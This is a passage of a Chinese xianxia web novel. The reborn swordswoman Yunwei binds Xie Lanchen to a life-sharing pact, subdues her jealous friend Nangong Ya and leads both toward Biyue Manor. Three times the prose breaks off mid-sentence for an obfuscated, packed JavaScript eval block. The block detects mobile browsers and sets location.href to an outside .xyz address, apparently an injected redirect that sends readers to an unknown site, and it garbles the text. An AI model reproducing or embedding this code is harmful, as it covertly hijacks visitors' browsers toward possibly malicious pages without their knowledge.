眼前景象突然变成弟子往来穿梭的回廊。三个外门弟子靠着朱漆廊柱,正小声议论。 一个尖细的声音带着毫不掩饰的酸意:“不过仗着自己命好,就摆起师姐的架子,论剑术,她哪点比得上林师兄?花架子罢了,真当人人都得捧着她?” 另一个声音立刻接口,满是鄙薄:“就是!整天冷着脸,也不知摆给谁看,莫不是嫌咱们脏了她的眼?” 旁边一个弟子压低声音,添油加醋道:“听说她娘来历不明,死得也蹊跷!指不定做了什么见不得人的勾当呢。” 三人挤眉弄眼,笑得前俯后仰,全然没留意到回廊拐角处的少女。 云微就在小云微身边看着。 那时她心气高,只当这些是妒忌,便以更凌厉的剑锋回应,将那份被父亲漠视的委屈和渴望证明自己的倔强,全化作了苦练的汗水。 她曾以为,只要足够强,强到让父亲侧目,强到让所有人闭嘴,就够了。 画面飞速切换至灯火通明的正殿。 画面又是一转,到了灯火通明的正殿。 她的父亲高踞主位,而谢澜忱则站在他身侧,一身内门弟子服,垂着眼睑,沉默地承受着众人或好奇或审视的目光。 小云微站在殿下弟子前列,她刚被父亲责罚在雨中跪了一个时辰,身上湿透的袍子还未干透,发梢滴着水,嘴唇紧抿成一条直线。 谢青峰的目光落在谢澜忱身上,朗声开口:“此子根骨不凡,心性坚韧,于危难中犹存求生之志,甚合吾意。自今日起,谢澜忱,便是本座的义子!” 云微心中冷笑:救人的分明是她,拼死将谢澜忱背回来的也是她,可父亲一句轻飘飘的“根骨不凡”便将人收为义子。那她算什么?她所有的努力,在父亲眼中,永远比不上一个外人? 就在这时,殿中的少年缓缓抬起了头。 他的目光越过众人,精准地落在了小云微身上,眼里没有半分感激,只有一丝快意。 他嘴角向上扯了一下,仿佛在无声地说:看,这就是你救我的回报。你拼命救回的人,只会夺走你仅存的东西。 小云微死死攥紧了拳头,指甲深陷进掌心。 她猛地转身,不顾一切地冲出了喧嚣的大殿,将那些惊诧、议论和父亲威严的目光,统统抛在身后。 云微快步追了上去。 小云微跌跌撞撞地跑着,穿过回廊,绕过假山,最终一头扎进废弃柴房的最角落。 这里堆满干枯的柴禾,弥漫着尘埃和木头腐朽的气息。 她把自己紧紧蜷缩起来,小小的身体缩在柴堆最阴暗处,脸深深埋在膝盖上,肩膀无声地抽动着,只有压抑到极致的、断断续续的抽噎。 云微静静站在她面前。 被父亲无视的心痛,被同门嘲笑的屈辱,被所救之人恩将仇报的恨意……所有积压的情绪,在这阴暗的角落轰然决堤。 一种强烈的冲动驱使着云微。 她不再是冰冷的旁观者,一道朦胧的、若隐若现的身影缓缓在哭泣的小云微面前凝聚,轮廓逐渐清晰。 小云微似乎感觉到了什么,抽噎声骤然停止。 她抬起沾满泪水的小脸,眼睛哭得又红又肿,茫然又惊愕地看着眼前突然出现的、与自己有八九分相似的女子,唇瓣动了动,吐出几个字:“你是谁?” 云微缓缓蹲下身,让自己的视线与小云微齐平。 没有多余的话,她伸出手,指尖带着一丝奇异的微凉,却异常轻柔地拂过小云微湿漉漉的脸颊,小心翼翼地拭去那滚烫的泪痕。 “别哭。”云微开口,声音很轻,“为不值得的人流眼泪,很傻。” 小云微怔怔地看着她,眼睛里还蓄着泪水,“可是,父亲他…他不爱我…还有师弟师妹们…他们也不喜欢我…” 云微的指尖停留在小云微的脸颊上,轻轻抚过。 “你很好。” 她认真道:“不需要他们认可。这天地间,能为你作证的,唯有你手中之剑,心中之道。待你剑锋所指之处,魍魉退散,公理昭彰,那时,真相自会大白。” 她顿了顿,目光穿透小云微,投向更远,眼神锐利:“终有一天,你会强大到让他们所有人都只能仰望。那些伤害过你的人,要他们一笔一笔,血债血偿。” 就在这时,四周猛地一阵摇晃,地面出现蛛网般的裂痕。 柴房腐朽的木门被人轰然撞开。 一道身影冲了进来,带着急促的喘息。 是谢澜忱。 准确来说,是长大后的谢澜忱。 他脸色苍白得吓人,冲进来的瞬间,目光便锁定了角落里那道半透明的身影。 “云微!”谢澜忱朝她伸出手,语气又急又怒,“快跟我走!这幻境在吞噬你的魂魄!再不走,你就真的魂飞魄散了!” 云微的身影在剧烈的震荡中果然变得更加稀薄透明,仿佛下一刻就要消散。 然而,她却没有立刻回应谢澜忱,目光依旧停留在那个小小的自己身上。 小云微不知何时已止住了哭泣,正仰着脸,眼睛一眨不眨地看着她。 “云微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854854|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”谢澜忱见她不动,几乎是吼了出来,“看着我!你不要被过去所困!” 云微终于缓缓转过头,看向狼狈不堪的谢澜忱。 她微微扬起下颌,那份孤高分毫未减,“谢澜忱,我只问你一句:助我复仇,查清我母亲葬身禁地的真相,你应是不应?” 谢澜忱伸出的手僵在半空,他瞳孔猛地一缩,脸上的焦急瞬间凝固,取而代之的是一种难以置信和被算计的愠怒。 他深吸一口气,声音一丝自嘲的冷意:“你故意以魂魄消散为要挟,引我进来,就是为了逼我答应这个?” “不然呢?”云微反问,语速极快,“与你重温旧怨?还是听你诉说那些无用的愧疚?谢澜忱,我魂魄将散,没时间听你道歉。”她残魂的边缘又淡去一分,“你应,还是不应?” 谢澜忱看着她越发透明的魂体,终究还是屈服了。 他仿佛用尽了全身力气,从齿缝里挤出几个字,“好,我应你。帮你复仇,查明真相……我定,倾、尽、所、有!” 目的达成。 云微心中微定,计划的第一步,成了。 就在这一刻,她感觉到攥着自己手指的那只小小、温热的手,轻轻松开了。 小云微站在那片逐渐破碎的光影里,仰着头,脸上泪痕未干,却努力地扬起一个大大的笑容。 她用尽力气,对着即将消散的云微喊道:“别怕!打跑坏人!你是最厉害的!” 云微心中长久以来压着的一块冰冷巨石仿佛松动了一下。 她对着那个小小的自己,释然地、无声地笑了笑,然后不再犹豫,将自己那近乎完全透明的手,搭在谢澜忱伸向她的手掌中。 两手交握的刹那—— 轰! 整个幻境如同被击碎的镜面,彻底崩解,巨大的拉扯感将云微的意识狠狠拽离。 黑暗。 紧接着便是一阵窒息感。 不知过了多久,剧痛退潮,取而代之的是一种难以言喻的轻盈与充实感。 云微感受到了自己温热的肌肤,流动的血液,沉重而真实的心跳,以及充盈四肢百骸、几乎要喷薄而出的力量。 她睁开眼。 不再是透过冰冷剑身“看”世界。 她的视线,真真切切地落在了眼前。 头顶是幽谷上方一线灰蒙蒙的天光,身下是湿润微凉的泥土和零落的枯叶。 她低下头,看向自己的手。 那是一双骨节分明、修长而有力的手。 真实的、温热的血肉之躯。 她抬起手,指尖抚过自己的脸颊,触感温热而清晰。 她身上穿着一件样式极其简单的素白色布袍,没有任何纹饰。 一头长发未经任何束缚,自然地披散在肩头后背,几缕发丝垂落在脸颊旁。 新生的身体带着久违的活力,她尝试着活动了一下手腕,感受着筋骨间流淌的力量。 就在这时—— “哼!” 一声清脆的冷哼突兀地打破了谷底的寂静。 云微心头猛地一跳,这声音…… 她霍然转头。 5. 游戏 几步外,不知何时多了一个身着艳丽紫纱裙的少女。 她抱着双臂,姿态慵懒随意,裙摆绣着大朵大朵妖异的曼陀罗花,一张巴掌大的小脸生得极为明艳,柳眉杏眼,琼鼻樱唇。 那双漂亮的杏眼,此刻正直勾勾地盯着云微。 万毒谷谷主,南宫雅。 “阿雅?”云微看着突然出现的故人,此刻便有了答案。“是你帮的忙?” 南宫雅抱着手臂,往前踱了两步,紫纱裙摆拂过地面枯叶,发出沙沙轻响。 她冷哼一声,下巴微抬,带着惯有的睥睨:“不然呢?你以为凭那个半死不活的小子,真能结成‘共生契’?”她杏眼斜睨着靠在青石旁昏迷不醒的谢澜忱,语气刻薄,“本谷主在崖顶采药,你那孤鸿剑的剑意隔着老远就扎得我心烦!跳下来一看,嚯,好一对亡命鸳鸯!”她顿了顿,“顺手推了一把罢了。本想看你们一起被契约束缚着魂飞魄散,倒也干净。可惜……命硬得很。” 云微诧异:南宫雅竟能感知到她残魂依附的孤鸿剑意?她在毒术之外,修为竟也精进如斯。 她顺着南宫雅的视线望去,谢澜忱靠在一块巨大的青石旁,脸色苍白,嘴唇毫无血色,双目紧闭。 此刻他气息微弱得近乎断绝,仿佛轻轻一碰就会碎裂,显然是与她缔结共生契所付出的代价。 她的目光在少年身上停留了一瞬,只是极轻微地蹙了下眉尖,随即移开视线。 共生已成,他是她复仇路上不可或缺的棋子,仅此而已。 眼下更棘手的,是眼前这位万毒谷谷主。 “阿雅,”云微开口,声音恢复了惯常的清冷平稳,试图解释,“一年前……” “闭嘴!”南宫雅粗暴地打断她,眼中怒火更甚,“少叫得那么亲热!云微,你失信了!本谷主为了你破戒出来,还差点把谷底的毒虫都翻出来找你!你倒好,躲在这破剑里,跟这个一看就晦气的小子缠缠绵绵,差点把自己搞得魂飞魄散!” 少女猛地抬手,指向昏迷的谢澜忱:“你为什么不来看我?是因为他吗?你喜欢上他了,所以才忘记了我们之间的约定对不对!” 一年前,云微曾被邪修重创,经脉寸断,逃入万毒谷绝地毒瘴,若非南宫雅相救,早已尸骨无存。 谷中养伤三月,她为这从未踏出毒谷、对外界充满好奇的少女描绘山川大河、市井烟火。 分别那日,少女站在毒瘴边缘,紧紧攥着她的袖子,一双杏眼里是强装的凶狠:“姐姐,你答应我!一定要回来看我!给我带外面最好看的裙子!还有……外面有什么好玩的,记得带给我看呀!” 她记得自己当时郑重颔首:“好,一言为定。” “你失信了……你这个骗子!”南宫雅厉喝,艳丽的脸庞因愤怒而扭曲。 话音未落,她手腕猛地一翻,几点幽蓝粉末自她指尖弹出,没入谢澜忱口鼻之中。 少年本就微弱的气息瞬间彻底沉寂下去,连胸膛的起伏都微不可察。 不好…… 他们的共生契。 南宫雅不会不知其中关窍,谢澜忱若死,她云微亦无法独活。 这人,是在逼她出手。 “你做了什么?”云微问。 “心疼了?”南宫雅扬起下巴,笑容艳丽,“放心,不过是‘醉梦’罢了,一时半刻死不了。顶多……” 她故意拖长了调子,冷冷道:“骨头缝里像有千万毒蚁啃噬,梦里轮回刀山火海,求生不得,求死不能罢了。” 云微强行压下心头因同生契牵连而泛起的一丝不适。 她直视南宫雅,声音沉静得可怕:“阿雅,你当知同生契的代价。他死,我亦亡。你是在逼我与你动手?” 南宫雅嗤笑一声,绕着云微缓缓踱步,“我要你陪我玩个‘游戏’,赢了我,你就可以带着这六个累赘走,输了的话……你们都得留下来给我的毒花做花肥!” 话音未落,南宫雅的身影已经欺近。 她并未用毒,而是并指如刀,指尖萦绕着一层诡异的淡紫色雾气,直刺云微咽喉。 云微足尖一点,身形向后闪退,紫雾擦着她颈侧掠过,险而又险。 “躲?”南宫雅一击落空,杏眼微眯,攻势更疾。 云微始终不曾还招,只在毒雾掌影里穿梭闪避。看似左支右绌,却总能在间不容发之际避开,连一分力气也不白费。 她不能出手。 她太了解阿雅了,这人嘴上不饶人,心肠却比谁都软。 若让她知晓自己被父亲诛杀的遭遇,知晓那失约背后的真相是身死魂残,她怕是要自责了。 南宫雅久攻不下,心中那股被轻视的怒火便如浇了滚油,越烧越旺。她娇叱一声,声音里已带了几分气急败坏的尖利: “云微!你瞧不起我?!” 话音未落,她双手一扬,数十道毒针自袖底激射而出,将云微周身要害尽数笼罩。 避无可避。 云微愣了愣,没想到南宫雅会动用杀招来对付自己心中。 她长叹一声,体内新生的、浑厚的灵力在心念动处便已沛然流转。 一股无形无质的罡气,以她为中心骤然勃发。 叮叮叮叮——! 只见那数十道毒针如同撞上了一堵坚不可摧的墙壁,去势顿消。 所有毒针或被生生震得寸寸碎裂,化作齑粉;或被那罡气巧妙牵引,如同被无形大手拨弄,纷纷偏离轨迹,激射向四周的岩石,发出咄咄闷响。 云微身形纹丝未动,衣袂缓缓垂落,仿佛只是拂去了衣袖上沾染的些许尘埃。 她抬眼,目光平静地投向因惊愕而微微僵住的南宫雅,声音依旧清冷如初,听不出半分波动,仿佛方才那惊心动魄的一瞬从未发生: “阿雅,这便是你的杀招么?”她语气淡然,并非故意讥讽,只是在陈述一件寻常事,“若是玩够了,便该收手了。” 南宫雅的身体剧烈地颤抖起来,不是因为恐惧,而是因为一种巨大的、被彻底碾压的无力与愤怒。 她苦练多年的技艺在这个人面前,依旧不堪一击。 “你……”南宫雅死死盯着云微,嘴唇哆嗦着,眼中翻涌着强烈的不甘和怨毒,“你赢了!那又怎样!云微,你欠我的解释呢?你为什么骗我?!我要听你亲口说!否则,你休想就这么一走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854855|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了之!” 解释?她执意要听吗?云微愣了愣,大脑飞速思考着。 是啊,她想,是我失信在先,她恨我是应该的。 她总以为行动比言语重要,却忘了,对在乎自己的人而言,一句交代也是责任。 这件事是她做得太绝,太冷硬了。死了一次后,连如何体谅他人最寻常的期盼,都变得如此生疏。 她应该告诉阿雅真相。云微沉默着,那双寒潭般的眼眸深处,似乎有什么东西在缓慢地碎裂、剥落。 长久的、令人窒息的寂静之后,她终于再次开口,带着一种极其罕见的滞涩。 “我没忘。” 简单的三个字,却让南宫雅咄咄逼人的气势猛地一窒,眼中闪过一丝愕然。 她微微停顿了一下,带着一种直白到近乎笨拙的坦诚: “你说,‘外面有什么好玩的,记得带给我看呀。’这句话,我没忘。离开万毒谷后,我去了很多地方。北境的雪原,西陲的戈壁,南疆的瘴林……每一处,都有妖魔肆虐,民不聊生。我一路走,一路杀。每到一个村子,灭了一处妖巢,若那村子还剩下些活人,我便去买一样东西。” “你买什么?”南宫雅喃喃地问,声音干涩。 “买那个村子里最特别、最有趣的小玩意儿。泥捏的娃娃,竹编的蚂蚱,染了花汁的布老虎,能吹出鸟叫的陶哨……各种各样,只要是那地方独有的,小孩子会喜欢的。”云微的声音很平缓,像是在陈述一件再普通不过的事。 “当我行至石塘镇,发现妖龙‘覆海’作乱,水淹村落,生灵涂炭。我出手诛妖,却被诬陷堕入魔道,残害无辜……最终死于……宗门戒律之下。”她的话语极其简略,省略了那个对她最残忍的人——父亲。 南宫雅如遭雷击,整个人僵在原地,“你……你说什么?你死了?”她的声音干涩嘶哑。 云微没有直接回答。 她弯下腰,从地上捡起一样东西,那柄陪伴她多年,此刻却布满蛛网般裂痕、光华尽失的孤鸿剑。 她心疼地、极其轻柔地用指尖抚过剑身上一道最深的裂痕,动作带着一种难以言喻的珍视与悲凉。 随即,她轻声道:“不必如此。你看,我还在。妖龙‘覆海’方才已被我彻底诛杀。”她顿了顿,目光扫过昏迷的谢澜忱和远处那几个弟子,“只是眼下,还有事未了。” 南宫雅呆呆地看着她,看着她平静的脸,看着她手中那柄残破的孤鸿剑,再看着地上那几个昏迷不醒的人。 巨大的冲击让她一时失语,先前所有的愤怒、质问都显得那么苍白可笑。 她张了张嘴,喉咙却像是被什么堵住,半晌才艰涩地问:“你要做什么?我能帮到你吗?” “其一,孤鸿剑乃我本命之物,亦是残魂所寄。如今剑损,我虽化形,根基亦不稳。需寻能工巧匠,重铸剑身,修复剑魂。”她抬起眼,看向谷外灰蒙蒙的天空,声音带着一丝不容置疑的决断,“我要去碧月山庄,找徐鄂。” “徐鄂?碧月山庄那位以炼器闻名的庄主?”南宫雅下意识地接口,随即像是想起了什么,脸色微变。 听说,这个人已经…… 6. 三人行 归云宗的援兵到了。 几个灰衣弟子探头张望,谷底狼藉,龙尸横陈,触目惊心。 几人脸上惊疑不定。 “谢师兄竟真斩了那妖龙?”一个圆脸弟子压低了声音,难掩咋舌,“这孽畜可是连…连云微师姐都奈何不得。” 身侧同伴立时“啧”了一声,语气嫌恶:“什么师姐?分明是魔头!她堕入魔道,残害百姓,是宗门铁案钉死的罪人!岂能与谢师兄相提并论?”他刻意拔高声调,带着谄媚,“谢师兄天纵奇才,剑斩妖龙,实乃我归云宗未来宗主之姿!” 圆脸弟子讪讪闭嘴,目光却忍不住瞟向对面那道沉默的身影。 谢澜忱不知何时站在那里的,一身干净宝蓝的衣衫,胸口云纹精致,腰间悬挂着宗门玉符。 少年身形纤细,并无迫人威压,然而几个弟子此刻仍觉得他身上的气息过于可怕。 他唇瓣微动,吐出几字: “诋毁同门者,戒律堂领二十刑鞭。” 方才吹捧的弟子一滞,忙挤出一抹强笑岔开话头:“谢师兄,你…不随我们一同回去么?宗主定是挂念……” “我另有要事。回去复命,如实禀告便是。”谢澜忱打断他,明明嘴角衔着看似无害纯良的笑意,眼中却多了几分阴翳,“莫忘二十刑鞭。” “一鞭不少,我自会点数。” 几人被他的眼神看得瑟瑟发抖。 圆脸弟子忍不住试探:“师兄可是因一月后宗门比武大会烦心?听闻宗主要广招新弟子入内门…师兄若担忧新人分了宗主关注,不如回去勤修……” “我的事,轮不到你置喙。” 云微在剑中静养,意念模糊感应到谢澜忱心中的戾气:她才死多久?尸骨未寒,宗主便急着招新纳贤,当真薄情至此? 几个弟子噤若寒蝉,匆匆行礼,逃也似地离去。 一道清冷白光自孤鸿剑残破剑身流泻,凝聚成形。 云微一身素白布袍,唇间一点朱红,并不浓艳,只让人觉得孤高清冷,不容亵渎。 方才她在剑中调息,外间言语模糊传来,那几个弟子似乎提到了宗门要办比武大会?谢澜忱为何动怒? 她心思微转,目光落在少年闷闷不乐的脸上,“幻境之中,你承诺助我,可还作数?” 谢澜忱心思深沉,反复无常,那承诺是情急之下的产物,若不时刻敲打,恐成空谈。 她的计划,容不得半点变数。 谢澜忱面色一僵,幻境中那句被迫应下的承诺被她如此直白点出,只觉难堪又憋闷。 他避开云微那仿佛能洞悉一切的目光,语气生硬带刺:“我言出必行,不似某些背信弃义之人。”他意有所指地撂下话,却不知自己暗指的那件旧事,对方根本毫无头绪,此刻说出来,倒像一拳打在了空处。 话锋急转,少年排斥之意更显:“倒是你,既已化形,还赖在剑里作甚?意念相通,窥人心思,惹人厌憎。” 云微“嗯”了一声,神色不变,对他的讥讽置若罔闻,只淡淡道:“放心,我对窥探你那点心思毫无兴趣。剑中相通,非我所愿,亦非你所能控。”她略一停顿,直接道出目的,“我要去碧月山庄,寻庄主徐鄂。” “碧月山庄?”谢澜忱微怔,眉头锁紧,充满质疑,“那地方远在西南瘴疠之地,你寻他作甚?”他对那以炼器闻名的庄主,印象仅止于“手艺尚可,性情木讷”。 他本就对自己心存芥蒂,若直言她是为了通过比武大会重回归云宗才想要寻一把趁手的好剑,以谢澜忱的性子,恐更生抵触。 原因无他,只因谢澜忱此人向来猜忌深重,尤其反感被利用,若知晓云微去碧月山庄的原因与他自身无关,定会立刻摆出一副拒人千里的姿态,让她徒增烦恼。 云微面上依旧平静,语气却放缓一分:“为你。” 谢澜忱:……你猜我信么? 她面不改色,谎话说得理所当然,“同生契在,你我性命相连。你手中这柄孤鸿剑如今残破不堪,若遇强敌,岂非拖累?我寻徐鄂,首要为你锻造一柄好剑,以增实力,护你我周全。” 这句话是真的。孤鸿剑伴她多年,斩妖除魔,保护百姓,乃她半身,如今裂痕遍布,岂能弃之不顾?以徐鄂炼器之能,或可一试。 至于为谢澜忱铸新剑,不过是顺水推舟,堵他嘴的由头罢了。 果不其然,谢澜忱面上僵硬了一秒,握着孤鸿剑柄的手指无意识地收紧,目光掠过云微清冷无波的脸庞。 她…竟是在为他考虑? 这个念头一升起,便被他自己狠狠压下。 荒谬!云微不过是为了利用他复仇,怕他这“工具”折损罢了。 “不必装模作样,”他语带讥讽,“你不过是为了你这柄爱剑。” 闻言,云微嘴角勾起笑颜弯弯,“孤鸿自是要修,可送你的剑亦需新锻。” 孤鸿剑,她迟早要亲手拿回,但此刻需稳住他。 谢澜忱冷哼一声,虽满心抵触,不信她会这般好心,却也知她所言不无道理。 他正欲再反唇相讥,一个带着浓浓讥诮的声音,蓦然自头顶树梢响起: “哟,商量好了?” 南宫雅从树上翩然落下,漂亮的杏眼在云微和谢澜忱之间滴溜溜转了一圈,带着促狭:“碧月山庄是吧?算我一个!” 谢澜忱眉头皱起,满脸抗拒。 这一趟绝对不能再带上一个他讨厌的人了。 “不行,你身份不妥。” “怎么?本谷主去不得?”南宫雅柳眉倒竖,抓着云微的胳膊摇晃不停,“那徐鄂早就不是一个只会抡锤子的木头疙瘩了!江湖传闻,他如今性情大变,暴戾得很!你这死脑筋,若是被他扣下了怎么办?” 她越说越觉得危险,目光转向谢澜忱,眼里充满了不信任,“再说了,这小子面相刻薄,一看就不是什么守信之人。谁知道他会不会半路反悔,丢下你跑了?我得盯着他!”她毫不客气地指向谢澜忱腰间的孤鸿剑,“还有,这剑明明是云微的,不问自取是为偷!小偷!” “你!”谢澜忱被她连珠炮似的指责气得脸色发青,尤其“小偷”二字更是刺耳。 他握紧剑柄,眼神不悦,“此剑乃归云宗宗主所赐,休得胡言。” 南宫雅“哼”了一声,“赐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854856|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?抢来的吧!云微的事就是我的事,因为我是她唯一的朋友。倒是你,你又是以什么身份来管?” “好了,别吵了。”云微适时开口道。 谢澜忱周身戾气过重,与他同行本就棘手,再多争执不过徒增烦扰。 阿雅虽性子跳脱,却最是可靠,有她同行,反倒能制衡一二。 这两人一冷一热,倒也有趣。 云微面上依旧平静,故意问道:“阿雅是怕我有危险?” 南宫雅明着是针对谢澜忱,实则字字都在替她担忧。 谢澜忱与自己针锋相对多年,此刻定是憋着气,却也只能受着。 这般光景,倒省得她多费唇舌。 “我是怕你又跑了,毕竟…你欠我的小玩意儿还没给我呢!” 云微唇角几不可察地弯了一下,不再逗她,算是默许了她的跟随。 谢澜忱看着这两人一唱一和,只觉得太阳穴突突直跳。 一个冷得像冰,一个吵得像雀,偏偏他还和云微绑着同生契,想甩都甩不掉。 他烦躁地揉了揉眉心,最终也只能认命地压下火气。 “既同行,便需约法三章。”云微看向两人,语气不容置疑,“第一,此行以我为主,目的地、路线、行事皆由我定,不得擅自行动,节外生枝。” 谢澜忱冷哼一声,算是默认。 “第二,在外人前,不得提及我真实身份及过往,我自会化名行事。” “第三,”她看向南宫雅,“阿雅不通御剑之术,我们乘车马前往。” “车马?”南宫雅眼睛一亮,随即皱眉看向四周,“这鬼地方,去哪儿找车马?” 谢澜忱瞥了她一眼,语带讥讽:“你当是游山玩水,还能随时雇到马车?”他不再多言,走到一旁空地,手指凌空快速划了几个符文,一道微光闪过。 不多时,一辆青篷马车缓缓驶来,拉车的两匹黑色骏马神骏非凡,双目隐有灵光。 是宗门特制的“御风驹”车驾,外观朴素,内嵌符文,寻常妖物不敢近身,识途认主,无需车夫。 车厢不大,仅容四人勉强对坐。 南宫雅率先跳了上去,转身便朝云微伸出手:“快上来!” 谢澜忱本欲伸手相扶,动作却慢了一瞬,被南宫雅抢了先机,手悬在半空,略显僵硬地收回。 待谢澜忱坐进去时,只见两人紧挨着彼此,再看看自己这边空荡荡的位置和对面两张写满“不欢迎”的脸,脸色瞬间沉了下来。 少年一言不发地在云微对面坐下,紧贴着冰凉的车厢壁,身体绷得笔直,尽可能拉开与对面两人的距离。 两匹御风驹低嘶一声,迈开四蹄。 车轮碾过崎岖林地,载着三人朝西南方向疾驰而去。 行了约莫大半日,天色渐暗。 马车驶入一片荒僻的山道,两侧林木幽深,光线昏沉,只有御风驹足下符文散发的微光,照亮前方丈许之地。 车厢内,云微与南宫雅两人闭目养神,谢澜忱则侧耳凝神,留意着车外动静。 “仙长…救…救救我……” 云微倏然睁开了眼。 7. 善意的谎言 三人循着微弱的呼救声,拨开道旁半人高的蒿草。 一个浑身是血的男人倒在血泊里,气息微弱,身旁散落着一个破旧的药篓,几株沾满泥污的草药滚落在地。 他涣散的眼瞳看见来人,骤然亮起一丝微光,沾满血污的手颤抖着指向地上的药篓,喉咙里嗬嗬作响,拼尽最后力气挤出几个字:“我娘…草药…帮我…”话未说完,手臂颓然落下,双目圆睁,已是气绝。 南宫雅蹲下身,指尖搭上他颈侧,又翻看他胸腹间几处深可见骨、皮肉翻卷的撕裂伤,眉头锁紧,摇了摇头:“致命伤在胸腹,脏腑碎裂,是被利爪生生掏开的……救不回了。” 又一个被妖物所害的生命。 他家中尚有母亲倚门待药,自己却横死荒野,连最后一点卑微的心愿也成了空。 云微不明白,这世间的妖,为何总也除不尽?这些只想安稳度日的普通人,为何会被卷入腥风血雨? 她俯下身,将散落泥泞中的草药一一拾起,小心地放回那破旧的药篓里。 将人安顿好后,三人重新出发。 这次行了不到半个时辰,天色骤变。 雨势凶猛,电闪雷鸣,豆大的雨点噼里啪啦砸在车顶上,很快便连成一片白茫茫的雨幕。 御风驹突然发出一声不安的嘶鸣,前蹄高高扬起。 紧接着,车轮猛地一沉,伴随着一声断裂的脆响,整个车身剧烈倾斜,轰然歪倒在泥水里。 “你们归云宗的车驾,竟这般不顶用!”南宫雅在车厢里稳住身形,忍不住抱怨。 一下车,雨水瞬间浇透了衣衫。 云微的指尖划过断裂的车轴边缘,触感异常平滑,绝非自然断裂。 她想,归云宗的车驾属上乘,寻常刀剑难伤分毫,区区泥泞山路,怎会轻易断裂至此?除非是有人刻意为之。 云微抬眼看向谢澜忱,手径直伸到他面前,指尖微张:“把剑给我。” 少年“哦”了一声,虽然不解,还是依言将腰间的孤鸿剑递了过去。 云微握住剑柄,孤鸿剑竟悄无声息化作油纸伞,稳稳撑在三人头顶。 “你竟然能改变它的形态?”南宫雅新奇地戳了戳伞面,“难道是那小子的血让你成了剑灵一般的存在?我听说剑灵得跟剑主意念互通呢。” 谢澜忱听到这话,脸色瞬间沉了下来,睫毛垂着,遮住眸底翻涌的阴翳。 剑灵,乃宝剑通灵所化之精魄,或修士残魂与剑器相融而生。 云微此刻状态特殊,残魂与孤鸿剑共生,又与谢澜忱意念相通,故能初步掌控此剑部分玄妙。 可把她比作器物之灵,简直是对她的亵渎。就算她如今残魂寄剑,也轮不到旁人这般轻贱。 再者,谁要跟她心意相通?谁要跟她血脉相连?他才不要再与云微有什么牵绊。 云微自己倒是不甚在意。 阿雅年纪尚小,又将她视作亲近之人,说话自然少了顾忌,并非存心轻慢。 只是“剑灵”二字,确实点出了她如今这非人非鬼的尴尬处境。 她心中掠过一丝自嘲,面上却不动声色,只是将伞更稳地举着,冲两人说道:“走吧。” 谢澜忱的目光在她平静的侧脸上顿了顿,她就这么不在意?被人比作器物,被戳中这不上不下的处境,竟连眉头都没皱一下? 他指尖在袖中捻得发白,方才压下去的戾气又翻涌上来,混杂着几分说不清道不明的烦躁。 她还是这副高高在上的模样,仿佛什么都入不了她的眼,真令人恼火。 “前面好像有个村子!”南宫雅眼尖,透过车窗指向不远处山坳里隐约透出的一点微弱灯火。 云微凝目细看,果然隐约可见一个茅屋。 有村子就好,只是这荒山野岭的村落,总让人觉得有些不安。 * 村口,一个披着破旧蓑衣的老汉佝偻着身子,坐在自家屋檐下,手中捧着一本旧书,费力地读着。 见到三个浑身湿透的外乡人走来,他浑浊的眼睛里露出一丝惊讶,连忙放下手中的书。 “孩子啊,快进来避避雨吧!这雨一下,山里总有些不干净的东西。”老汉热情地招呼道。 谢澜忱眉头紧锁,语气生硬:“你们村里可有会修车的木匠?” 他只想尽快离开这透着古怪的地方。 老汉被他这没头没脑的话弄得一愣。 云微不动声色地上前一步,将谢澜忱稍稍挡在身后,对着老汉微微颔首,语气温和:“抱歉,我弟弟性子急,您别见怪。我们的马车坏在山道上了,又遇上这大雨,实在无法前行。想请问村里可有手艺好的木匠师傅,能帮我们修修车轴?” 谢澜忱:……谁是你弟。 老汉见云微态度谦和,脸色缓和下来,叹了口气:“哎呀,你们这马车坏得真不是时候!村里张木匠手艺是顶好的,只是今日这雨下得邪乎,山路怕是不好走,他一时半会儿怕是请不来。” 这村子,静得过分。 云微心头那股不适感更重了。 “雨势太大,山路难行,不知可否在村中借宿一晚?待明日雨歇,再寻木匠不迟。”她问道。 “这……”老汉搓着手,显得很是为难,“我家屋子小,柴房还漏着雨,实在住不下几位……”他想了想,指向村子西面,“村西头的李老太家屋子宽敞,她儿子李大前些日子出门给她采药去了,家里就她一个瞎眼老婆子。你们去问问,兴许能收留你们一晚避避雨!” 李老太?采药的儿子? 云微、谢澜忱、南宫雅三人闻言,心头俱是一凛,瞬间交换了一个凝重的眼神。 那个死掉的采药人……莫非就是李老太的儿子? 三人依言寻到村西。 